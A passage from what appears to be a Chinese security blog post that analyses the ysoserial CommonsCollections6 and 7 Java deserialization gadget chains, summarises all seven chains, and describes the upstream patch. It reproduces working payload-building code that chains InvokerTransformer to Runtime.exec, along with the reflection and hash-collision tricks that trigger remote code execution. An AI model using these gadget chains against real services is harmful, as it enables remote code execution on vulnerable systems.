null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } Reflections.setAccessible(keyField); keyField.set(node, entry);//将其中一个Node的key属性改为entry return map; }

可以看到前面部分都是差不多的,主要是后面的代码。后面的代码先创建了一个HashSet实例,添加一个键之后通过反射对其属性做了很多操作,乍一看有点晕。。先把剩下的代码提取出来

Copy
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet map = new HashSet(1); map.add("foo");//添加一个键 Field f = null; try { f = HashSet.class.getDeclaredField("map");//获取map属性 } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map);//获取map实例的map属性。【也就是"foo"->】键值对 Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl);//获取map属性的table属性,里面包含很多Node Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } Reflections.setAccessible(keyField); keyField.set(node, entry);//将其中一个Node的key属性改为entry return map;

其实这段代码基本等价于以下几行代码:

Copy
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet map = new HashSet(1); map.add(entry); return map;

就是把entry绑定到HashSet上。这两种方法的区别在哪?第一种是通过反射,将entry赋值给HashSet实例中的一个Node的key属性,第二种则是直接调用HashSet.add()方法,有啥区别?跟进一下HashSet.add()方法

Copy
public boolean add(E e) { return map.put(e, PRESENT)==null; }

跟进put()

Copy
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }

此时的key就是entry变量(TiedMapEntry实例),跟进hash()

Copy
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }

这里调用了key.hashCode(),也就是TiedMapEntry.hashCode(),继续跟进

Copy
public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }

这里调用了this.getValue(),是不是很熟悉?没错,正是CommonsCollections5中利用的TiedMapEntry的方法。跟进一下getValue()

Copy
public Object getValue() { return this.map.get(this.key); }

调用了map属性的get方法。回顾一下我们实例化TiedMapEntry时传入的参数以及其构造方法:

Copy
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; }

可以发现这里的map属性就是绑定了执行系统命令Transformer的LazyMap实例,由于实例化LazyMap时没有添加foo键,一次调用其get()方法获取foo时会触发Transformer。触发完之后会把foo键添加到LazyMap实例上。

Copy
public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value);//添加key return value; } else { return super.map.get(key); } }

可是现在我们只是在构造payload阶段,由于上面将foo键添加到了LazyMap实例,因此反序列化时LazyMap已经存在了foo属性,从而导致无法触发EXP。因此,直接使用map.add(entry);是行不通的,还可以在返回序列化对象之前,remove掉LazyMap的foo属性。比如:

Copy
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet map = new HashSet(1); map.add(entry); lazyMap.remove("foo"); return map;

需要通过反射,将entry绑定到HashSet的一个key上,这样才不会在序列化阶段就触发Lazymap绑定的Transformer。

可是如何利用反射来直接添加一个HashSet的key呢?通过poc的源码不难发现,其实就是先获取HashSet.map属性,然后再获取这个属性的table属性,然后再获取table属性的key属性,最后直接对key属性进行赋值

map属性是HashMap类型,看看HashMap.table属性

是Node类型,再看看Node.key属性

再看一下一个HashSet实例的值是怎样的

因此,只有通过反射的方法才不会在序列化阶段就间接调用LazyMap.get

看一下反序列化的过程,由于最终返回的是HashSet实例用于序列化,因此直接看HashSet.readObject()

Copy
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in any hidden serialization magic s.defaultReadObject(); ... // Create backing HashMap map = (((HashSet<?>)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor)); // Read in all elements in the proper order. for (int i=0; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }

可以在最后发现调用了HashMap.put(),这个方法在上面分析过了,底层会调用LazyMap.get(xxx)。由于我们在构建payload时使用了反射来创建HashSet实例,因此LazyMap实例中没有任何键,因此这里会触发LazyMap绑定的Transformer,从而造成RCE。

这个gadget的调用链如下:

Copy
HashSet.readObject() -> HashMap.put() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransfomer.transform() -> RCE

CommonsCollections7#

这个的gadget与6类似,只不过是通过Hashtable类进行反序列化,最终到达LazyMap.get()的。先看一下代码

Copy
public Hashtable getObject(final String command) throws Exception { // Reusing transformer chain and LazyMap gadgets from previous payloads final String[] execArgs = new String[]{command}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations lazyMap2.remove("yy"); return hashtable; }

直接看后半部分,创建了两个LazyMap实例然后都put到Hashtable实例中,然后调用remove()移除lazyMap2中的名为yy的key,原因与CommonsCollections6中差不多,之后再说。最后返回Hashtable实例,进行序列化。我们先看一下Hashtable.readObject(),先从反序列化的逻辑来看

Copy
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold and loadFactor s.defaultReadObject(); ... int elements = s.readInt(); // Validate # of elements if (elements < 0) throw new StreamCorruptedException("Illegal # of Elements: " + elements); ... table = new Entry<?,?>[length]; threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); count = 0; // Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { K key = (K)s.readObject(); V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }

可以看得到,最后通过一个for循环来遍历Hashtable实例原本的元素,对每个元素调用reconstitutionPut()方法,跟进一下

Copy
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } // Creates the new entry. Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }

这里也有一个for循环,不过只有在tab[index]!=null才会进入,而tab在下方进行赋值:

Copy
tab[index] = new Entry<>(hash, key, value, e);

Entry类其实就是Hashtable中存储数据的类,每一个元素都是一个Entry对象。可以看一下Hashtable.put()方法,其实就是在table属性中添加了一个Entry对象。【插一句,仔细点可以发现,put()方法与reconstitutionPut()的代码几乎一毛一样,只不过put()是正向的插入元素,而reconstitutionPut()是逆向的,在readObject()复原元素时‘插入’元素】

Copy
public synchronized V put(K key, V value) { // Make sure the value is not null if (value == null) { throw new NullPointerException(); } // Makes sure the key is not already in the hashtable. Entry<?,?> tab[] = table; int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; @SuppressWarnings("unchecked") Entry<K,V> entry = (Entry<K,V>)tab[index]; for(; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { V old = entry.value; entry.value = value; return old; } } addEntry(hash, key, value, index); return null; } private void addEntry(int hash, K key, V value, int index) { modCount++; Entry<?,?> tab[] = table; ... Entry<K,V> e = (Entry<K,V>) tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }

而Hashtable的table属性类型也正是Entry[]

回到上面的Hashtable.readObject()调用的reconstitutionPut()方法

Copy
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } // Creates the new entry. Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }

先获取key.hashCode(),也就是key的hash。对于第二个及以后的元素,会将每个元素与之前的所有元素进行对比,判断条件如下

Copy
if ((e.hash == hash) && e.key.equals(key)) {

如果两个key的hash相同,则调用e.key.equals(key)来判断当前元素中是否含有之前的key。这里的e.key就是我们在构建payload时put的值,也就是LazyMap实例。由于LazyMap没有定义equals()方法,因此跟进其父类AbstractMapDecorator.equals()

Copy
public boolean equals(Object object) { return object == this ? true : this.map.equals(object); }

this.map是HashMap实例,由于HashMap没有重写equals方法,因此进入其父类AbstractMap.equals()

Copy
public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key)))//调用o.get(key) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; } return true; }

可以看到有调用m.get(key),这里的m实际上就是在reconstitutionPut()中传入的参数:key,也就是LazyMap实例,因此要反序列化的Hashtable的第二个元素中不存在第一个元素中的key,那么这里就可以触发LazyMap绑定的Transformer,造成RCE。

总结一下,在构造gadget时大概有以下几点限制:
1.Hashtable实例中至少有两个元素
2.Hashtable实例的两个元素的key的hash必须一样
3.第二个元素的key是LazyMap实例,且其中不存在第一个元素中的key

因此我们可以在Hashtable中添加两个Map,第二个元素是LazyMap实例。LazyMap实例中不能有第一个元素中的key,同时两个元素的key的hash必须一样。这点怎么绕过?

可以参照ysoserial中的代码,由于字符串"yy""zZ"的hash是相同的

因此可以让这两个字符串分别作为两个Map实例的key。至此大概可以写出如下的poc

Copy
final Transformer transformerChain = new ChainedTransformer( ... ); Map innerMap = new HashMap(); Map lazymap = LazyMap.decorate(innerMap, transformerChain); Map itemMap = new HashMap(); itemMap.put("yy", 1); innerMap.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(itemMap, 1); hashtable.put(lazymap, 1); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return hashtable;

可是测试时发现,在反序列化时无法造成rce,反而是在生成序列化流时会造成rce。为啥?原因跟CommonsCollections类似。在构造Hashtable时,使用了Hashtable.put()方法来添加元素,而put()方法内部也会进行与反序列化时的reconstitutionPut()进行类似的操作,也会调用equals()进行判断,从而底层调用了LazyMap.get()。因此,在返回Hashtable类用于序列化之前,我们需要把LazyMap中新加的key给去掉,也就是第一个元素的key。所以我们在return之前需要加上一行:

Copy
lazyMap2.remove("yy");

总结下来调用链大概如下

Copy
Hashtable.readObject() -> Hashtable.reconstitutionPut() -> AbstractMapDecorator.equals() -> AbstractMap.equals() -> LazyMap.get() -> ChainedTrasnformer.transform() -> RCE

0x03 总结#

归纳#

几个gadget的链大概是由以下几个部分组成

CommonsCollections1: AnnotaionInvocationHandler、Proxy、LazyMap、ChainedTransformer、InvokerTransformer

CommonsCollections3: AnnotaionInvocationHandler、Proxy、LazyMap、ChainedTransformer、InstantiateTransformer、TrAXFilter、TemplatesImpl

CommonsCollections2: PriorityQueue、TransformingComparator、InvokerTransformer、TemplatesImpl

CommonsCollections4: PriorityQueue、TransformingComparator、ChainedTransformer、InstantiateTransformer、TrAXFilter、TemplatesImpl

CommonsCollections5: BadAttributeValueExpException、TiedMapEntry、LazyMap、ChainedTransformer、InvokerTransformer

CommonsCoolections6: HashSet、HashMap、TiedMapEntry、LazyMap、ChainedTransformer、InvokerTransfomer

CommonsCollections7: Hashtable、LazyMap、ChainedTransformer、InvokerTransformer

执行命令的几种方式:
1.ChainedTransformer+InvokerTransformer,比如1、5、6、7
2.ChainedTransformer+InstantiateTransformer+TrAXFilter+TemplatesImpl,比如3、4
2.ChainedTransformer+InvokerTransformer+TemplatesImpl,比如2

再底层点来看其实就只有两种方式,InvokerTransformer和TemplatesImpl

从反序列化到命令执行的路径:
1.LazyMap,比如1、3、5、6、7
2.PriorityQueue+TransformingComparator,比如2、4

而从反序列化到LazyMap.get()这条路径又分为了好几种:
1.AnnotationInvocationHandler+Proxy,比如1、3
2.BadAttributeValueExpException+TiedMapEntry,比如5
3.HashSet+HashMap+TiedMapEntry,比如6
4.Hashtable,比如7

补丁#

根据以上的归纳可以发现,其实利用链最底层用来执行命令的方法不过就是Transformer和TemplatesImpl。因为最终目的是执行任意代码,也就是可以执行任意类的任意方法,其实主要就是Transformer的利用,因为TemplatesImpl的几种利用方式不过是结合了不同的Transformer来实现(InvokerTransformer、InstantiateTransformer)。

链的构造主要是通过Map绑定Transformer来实现,或者是PriorityQueue绑定TransformingComparator来实现。

反序列化入口则是百花齐放,是人是鬼都在秀。

总的来说,这次漏洞主要还是最底层的Transformer的原因,因此官方的补丁就是在几个Transformer的writeObject()/readObject()处增加了一个全局开关,默认是开关开启的,当对这些Transformer进行序列化/反序列化时,会抛出UnsupportedOperationException异常。

Copy
//InvokerTransformer private void writeObject(ObjectOutputStream os) throws IOException { FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class); os.defaultWriteObject(); } private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException { FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class); is.defaultReadObject(); } //FunctorUtils static void checkUnsafeSerialization(Class clazz) { String unsafeSerializableProperty; try { unsafeSerializableProperty = (String) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return System.getProperty(UNSAFE_SERIALIZABLE_PROPERTY); } }); } catch (SecurityException ex) { unsafeSerializableProperty = null; } if (!"true".equalsIgnoreCase(unsafeSerializableProperty)) { throw new UnsupportedOperationException( "Serialization support for " + clazz.getName() + " is disabled for security reasons. " + "To enable it set system property '" + UNSAFE_SERIALIZABLE_PROPERTY + "' to 'true', " + "but you must ensure that your application does not de-serialize objects from untrusted sources."); }}

参考:影响与修复

0x04 参考#

Java反序列化漏洞-玄铁重剑之CommonsCollection

ysoserial payload分析 -kingkk

玩转Ysoserial-CommonsCollection的七种利用方式分析 -平安银行应用安全团队

posted @   ka1n4t  阅读(2250)  评论(0编辑  收藏  举报
编辑推荐:
· 智能桌面机器人:用.NET IoT库控制舵机并多方法播放表情
· Linux glibc自带哈希表的用例及性能测试
· 深入理解 Mybatis 分库分表执行原理
· 如何打造一个高并发系统?
· .NET Core GC压缩(compact_phase)底层原理浅谈
阅读排行:
· DeepSeek火爆全网,官网宕机?本地部署一个随便玩「LLM探索」
· 开发者新选择:用DeepSeek实现Cursor级智能编程的免费方案
· 【译】.NET 升级助手现在支持升级到集中式包管理
· 独立开发经验谈:如何通过 Docker 让潜在客户快速体验你的系统
· Tinyfox 发生重大改版
历史上的今天:
2018-03-26 安恒杯 3月线上个人赛WriteUp
点击右上角即可分享
微信分享提示
CONTENTS